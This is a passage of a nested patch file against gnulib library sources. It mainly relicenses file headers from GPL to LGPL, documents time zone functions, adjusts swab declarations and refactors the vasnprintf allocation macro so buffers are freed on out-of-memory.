++++ b/gnulib/lib/strstr.c
+@@ -2,18 +2,18 @@
+ Foundation, Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This particular implementation was written by Eric Blake, 2008. */
+
+--- a/gnulib/lib/sys_stat.in.h
++++ b/gnulib/lib/sys_stat.in.h
+@@ -1,18 +1,18 @@
+ /* Provide a more complete sys/stat.h header file.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake, Paul Eggert, and Jim Meyering. */
+
+--- a/gnulib/lib/sys_types.in.h
++++ b/gnulib/lib/sys_types.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+--- a/gnulib/lib/time.in.h
++++ b/gnulib/lib/time.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+@@ -340,22 +340,60 @@ _GL_CXXALIASWARN (strftime);
+ # endif
+
+ # if defined _GNU_SOURCE && @GNULIB_TIME_RZ@ && ! @HAVE_TIMEZONE_T@
++/* Functions that use a first-class time zone data type, instead of
++ relying on an implicit global time zone.
++ Inspired by NetBSD. */
++
++/* Represents a time zone.
++ (timezone_t) NULL stands for UTC. */
+ typedef struct tm_zone *timezone_t;
++
++/* tzalloc (name)
++ Returns a time zone object for the given time zone NAME. This object
++ represents the time zone that other functions would use it the TZ
++ environment variable was set to NAME.
++ If NAME is NULL, the result represents the time zone that other functions
++ would use it the TZ environment variable was unset.
++ May return NULL if NAME is invalid (this is platform dependent) or
++ upon memory allocation failure. */
+ _GL_FUNCDECL_SYS (tzalloc, timezone_t, (char const *__name));
+ _GL_CXXALIAS_SYS (tzalloc, timezone_t, (char const *__name));
++
++/* tzfree (tz)
++ Frees a time zone object.
++ The argument must have been returned by tzalloc(). */
+ _GL_FUNCDECL_SYS (tzfree, void, (timezone_t __tz));
+ _GL_CXXALIAS_SYS (tzfree, void, (timezone_t __tz));
++
++/* localtime_rz (tz, &t, &result)
++ Converts an absolute time T to a broken-down time RESULT, assuming the
++ time zone TZ.
++ This function is like 'localtime_r', but relies on the argument TZ instead
++ of an implicit global time zone. */
+ _GL_FUNCDECL_SYS (localtime_rz, struct tm *,
+ (timezone_t __tz, time_t const *restrict __timer,
+ struct tm *restrict __result) _GL_ARG_NONNULL ((2, 3)));
+ _GL_CXXALIAS_SYS (localtime_rz, struct tm *,
+ (timezone_t __tz, time_t const *restrict __timer,
+ struct tm *restrict __result));
++
++/* mktime_z (tz, &tm)
++ Normalizes the broken-down time TM and converts it to an absolute time,
++ assuming the time zone TZ. Returns the absolute time.
++ This function is like 'mktime', but relies on the argument TZ instead
++ of an implicit global time zone. */
+ _GL_FUNCDECL_SYS (mktime_z, time_t,
+- (timezone_t __tz, struct tm *restrict __result)
++ (timezone_t __tz, struct tm *restrict __tm)
+ _GL_ARG_NONNULL ((2)));
+ _GL_CXXALIAS_SYS (mktime_z, time_t,
+- (timezone_t __tz, struct tm *restrict __result));
++ (timezone_t __tz, struct tm *restrict __tm));
++
++/* Time zone abbreviation strings (returned by 'localtime_rz' or 'mktime_z'
++ in the 'tm_zone' member of 'struct tm') are valid as long as
++ - the 'struct tm' argument is not destroyed or overwritten,
++ and
++ - the 'timezone_t' argument is not freed through tzfree(). */
++
+ # endif
+
+ /* Convert TM to a time_t value, assuming UTC. */
+--- a/gnulib/lib/unistd.c
++++ b/gnulib/lib/unistd.c
+@@ -1,4 +1,22 @@
++/* Inline functions for <unistd.h>.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define _GL_UNISTD_INLINE _GL_EXTERN_INLINE
+ #include "unistd.h"
+ typedef int dummy;
+--- a/gnulib/lib/unistd.in.h
++++ b/gnulib/lib/unistd.in.h
+@@ -1,18 +1,18 @@
+ /* Substitute for and wrapper around <unistd.h>.
+ Copyright (C) 2003-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_UNISTD_H
+
+@@ -1521,6 +1521,7 @@ _GL_WARN_ON_USE (group_member, "group_me
+ # undef isatty
+ # define isatty rpl_isatty
+ # endif
++# define GNULIB_defined_isatty 1
+ _GL_FUNCDECL_RPL (isatty, int, (int fd));
+ _GL_CXXALIAS_RPL (isatty, int, (int fd));
+ # elif defined _WIN32 && !defined __CYGWIN__
+@@ -2027,15 +2028,23 @@ _GL_WARN_ON_USE (sleep, "sleep is unport
+ #if @GNULIB_MDA_SWAB@
+ /* On native Windows, map 'swab' to '_swab', so that -loldnames is not
+ required. In C++ with GNULIB_NAMESPACE, avoid differences between
+- platforms by defining GNULIB_NAMESPACE::creat always. */
++ platforms by defining GNULIB_NAMESPACE::swab always. */
+ # if defined _WIN32 && !defined __CYGWIN__
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # undef swab
+ # define swab _swab
+ # endif
+-_GL_CXXALIAS_MDA (swab, void, (char *from, char *to, int n));
+-# else
++/* Need to cast, because in old mingw the arguments are
++ (const char *from, char *to, size_t n). */
++_GL_CXXALIAS_MDA_CAST (swab, void, (char *from, char *to, int n));
++# else
++# if defined __hpux /* HP-UX */
++_GL_CXXALIAS_SYS (swab, void, (const char *from, char *to, int n));
++# elif defined __sun && !defined _XPG4 /* Solaris */
++_GL_CXXALIAS_SYS (swab, void, (const char *from, char *to, ssize_t n));
++# else
+ _GL_CXXALIAS_SYS (swab, void, (const void *from, void *to, ssize_t n));
++# endif
+ # endif
+ _GL_CXXALIASWARN (swab);
+ #endif
+--- a/gnulib/lib/unitypes.in.h
++++ b/gnulib/lib/unitypes.in.h
+@@ -1,17 +1,17 @@
+ /* Elementary types and macros for the GNU UniString library.
+ Copyright (C) 2002, 2005-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _UNITYPES_H
+--- a/gnulib/lib/uniwidth.in.h
++++ b/gnulib/lib/uniwidth.in.h
+@@ -2,17 +2,17 @@
+ Copyright (C) 2001-2002, 2005, 2007, 2009-2021 Free Software Foundation,
+ Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _UNIWIDTH_H
+--- a/gnulib/lib/uniwidth/cjk.h
++++ b/gnulib/lib/uniwidth/cjk.h
+@@ -2,17 +2,17 @@
+ Copyright (C) 2001-2002, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2002.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include "streq.h"
+--- a/gnulib/lib/uniwidth/width.c
++++ b/gnulib/lib/uniwidth/width.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2001-2002, 2006-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2002.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/vasnprintf.c
++++ b/gnulib/lib/vasnprintf.c
+@@ -1,18 +1,18 @@
+ /* vsprintf with automatic memory allocation.
+ Copyright (C) 1999, 2002-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This file can be parametrized with the following macros:
+ VASNPRINTF The name of the function being defined.
+@@ -60,9 +60,7 @@
+ #ifndef VASNPRINTF
+ # include <config.h>
+ #endif
+-#ifndef IN_LIBINTL
+-# include <alloca.h>
+-#endif
++#include <alloca.h>
+
+ /* Specification. */
+ #ifndef VASNPRINTF
+@@ -1859,6 +1857,7 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ /* errno is already set. */
+ return NULL;
+
++ /* Frees the memory allocated by this function. Preserves errno. */
+ #define CLEANUP() \
+ if (d.dir != d.direct_alloc_dir) \
+ free (d.dir); \
+@@ -1923,7 +1922,7 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+
+ /* Ensures that allocated >= needed. Aborts through a jump to
+ out_of_memory if needed is SIZE_MAX or otherwise too big. */
+-#define ENSURE_ALLOCATION(needed) \
++#define ENSURE_ALLOCATION_ELSE(needed, oom_statement) \
+ if ((needed) > allocated) \
+ { \
+ size_t memory_size; \
+@@ -1934,17 +1933,19 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ allocated = (needed); \
+ memory_size = xtimes (allocated, sizeof (DCHAR_T)); \
+ if (size_overflow_p (memory_size)) \
+- goto out_of_memory; \
++ oom_statement \
+ if (result == resultbuf || result == NULL) \
+ memory = (DCHAR_T *) malloc (memory_size); \
+ else \
+ memory = (DCHAR_T *) realloc (result, memory_size); \
+ if (memory == NULL) \
+- goto out_of_memory; \
++ oom_statement \
+ if (result == resultbuf && length > 0) \
+ DCHAR_CPY (memory, result, length); \
+ result = memory; \
+ }
++#define ENSURE_ALLOCATION(needed) \
++ ENSURE_ALLOCATION_ELSE((needed), goto out_of_memory; )
+
+ for (cp = format, i = 0, dp = &d.dir[0]; ; cp = dp->dir_end, i++, dp++)
+ {
+@@ -2183,18 +2184,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ # endif
+ if (converted == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ if (converted != result + length)
+ {
+- ENSURE_ALLOCATION (xsum (length, converted_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len),
++ { free (converted); goto out_of_memory; });
+ DCHAR_CPY (result + length, converted, converted_len);
+ free (converted);
+ }
+@@ -2309,18 +2309,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ # endif
+ if (converted == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ if (converted != result + length)
+ {
+- ENSURE_ALLOCATION (xsum (length, converted_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len),
++ { free (converted); goto out_of_memory; });
+ DCHAR_CPY (result + length, converted, converted_len);
+ free (converted);
+ }
+@@ -2435,18 +2434,17 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ # endif
+ if (converted == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ if (converted != result + length)
+ {
+- ENSURE_ALLOCATION (xsum (length, converted_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, converted_len),
++ { free (converted); goto out_of_memory; });
+ DCHAR_CPY (result + length, converted, converted_len);
+ free (converted);
+ }
+@@ -2852,14 +2850,12 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ NULL, &tmpdst_len);
+ if (tmpdst == NULL)
+ {
+- int saved_errno = errno;
+ free (tmpsrc);
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ free (tmpsrc);
+@@ -2951,7 +2947,8 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ }
+ }
+ # else
+- ENSURE_ALLOCATION (xsum (length, tmpdst_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len),
++ { free (tmpdst); goto out_of_memory; });
+ DCHAR_CPY (result + length, tmpdst, tmpdst_len);
+ free (tmpdst);
+ length += tmpdst_len;
+@@ -3079,13 +3076,11 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ NULL, &tmpdst_len);
+ if (tmpdst == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+ # endif
+@@ -3156,7 +3151,8 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ }
+ }
+ # else
+- ENSURE_ALLOCATION (xsum (length, tmpdst_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len),
++ { free (tmpdst); goto out_of_memory; });
+ DCHAR_CPY (result + length, tmpdst, tmpdst_len);
+ free (tmpdst);
+ length += tmpdst_len;
+@@ -5449,15 +5445,14 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ /* Attempt to handle failure. */
+ if (count < 0)
+ {
+- /* SNPRINTF or sprintf failed. Save and use the errno
+- that it has set, if any. */
+- int saved_errno = errno;
+- if (saved_errno == 0)
++ /* SNPRINTF or sprintf failed. Use the errno that it
++ has set, if any. */
++ if (errno == 0)
+ {
+ if (dp->conversion == 'c' || dp->conversion == 's')
+- saved_errno = EILSEQ;
++ errno = EILSEQ;
+ else
+- saved_errno = EINVAL;
++ errno = EINVAL;
+ }
+
+ if (!(result == resultbuf || result == NULL))
+@@ -5466,7 +5461,6 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ free (buf_malloced);
+ CLEANUP ();
+
+- errno = saved_errno;
+ return NULL;
+ }
+
+@@ -5602,16 +5596,15 @@ VASNPRINTF (DCHAR_T *resultbuf, size_t *
+ NULL, &tmpdst_len);
+ if (tmpdst == NULL)
+ {
+- int saved_errno = errno;
+ if (!(result == resultbuf || result == NULL))
+ free (result);
+ if (buf_malloced != NULL)
+ free (buf_malloced);
+ CLEANUP ();
+- errno = saved_errno;
+ return NULL;
+ }
+- ENSURE_ALLOCATION (xsum (length, tmpdst_len));
++ ENSURE_ALLOCATION_ELSE (xsum (length, tmpdst_len),
++ { free (tmpdst); goto out_of_memory; });
+ DCHAR_CPY (result + length, tmpdst, tmpdst_len);
+ free (tmpdst);
+ count = tmpdst_len;
+--- a/gnulib/lib/vasnprintf.h
++++ b/gnulib/lib/vasnprintf.h
+@@ -1,18 +1,18 @@
+ /* vsprintf with automatic memory allocation.
+ Copyright (C) 2002-2004, 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _VASNPRINTF_H
+ #define _VASNPRINTF_H
+--- a/gnulib/lib/vasprintf.c
++++ b/gnulib/lib/vasprintf.c
+@@ -1,18 +1,18 @@
+ /* Formatted output to strings.
+ Copyright (C) 1999, 2002, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/verify.h
++++ b/gnulib/lib/verify.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert, Bruno Haible, and Jim Meyering. */
+--- a/gnulib/lib/warn-on-use.h
++++ b/gnulib/lib/warn-on-use.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* _GL_WARN_ON_USE (function, "literal string") issues a declaration
+--- a/gnulib/lib/wchar.in.h
++++ b/gnulib/lib/wchar.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake. */
+
+@@ -111,7 +111,7 @@
+ /* mingw and MSVC define wint_t as 'unsigned short' in <crtdefs.h> or
+ <stddef.h>. This is too small: ISO C 99 section 7.24.1.(2) says that
+ wint_t must be "unchanged by default argument promotions". Override it. */
+-# if @GNULIB_OVERRIDES_WINT_T@
++# if @GNULIBHEADERS_OVERRIDE_WINT_T@
+ # if !GNULIB_defined_wint_t
+ # if @HAVE_CRTDEFS_H@
+ # include <crtdefs.h>
+--- a/gnulib/lib/wcrtomb.c
++++ b/gnulib/lib/wcrtomb.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/wctype-h.c
++++ b/gnulib/lib/wctype-h.c
+@@ -1,4 +1,23 @@
++/* Inline functions for <wctype.h>.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ /* Normally this would be wctype.c, but that name's already taken. */
++
+ #include <config.h>
++
+ #define _GL_WCTYPE_INLINE _GL_EXTERN_INLINE
+ #include "wctype.h"
+--- a/gnulib/lib/wctype.in.h
++++ b/gnulib/lib/wctype.in.h
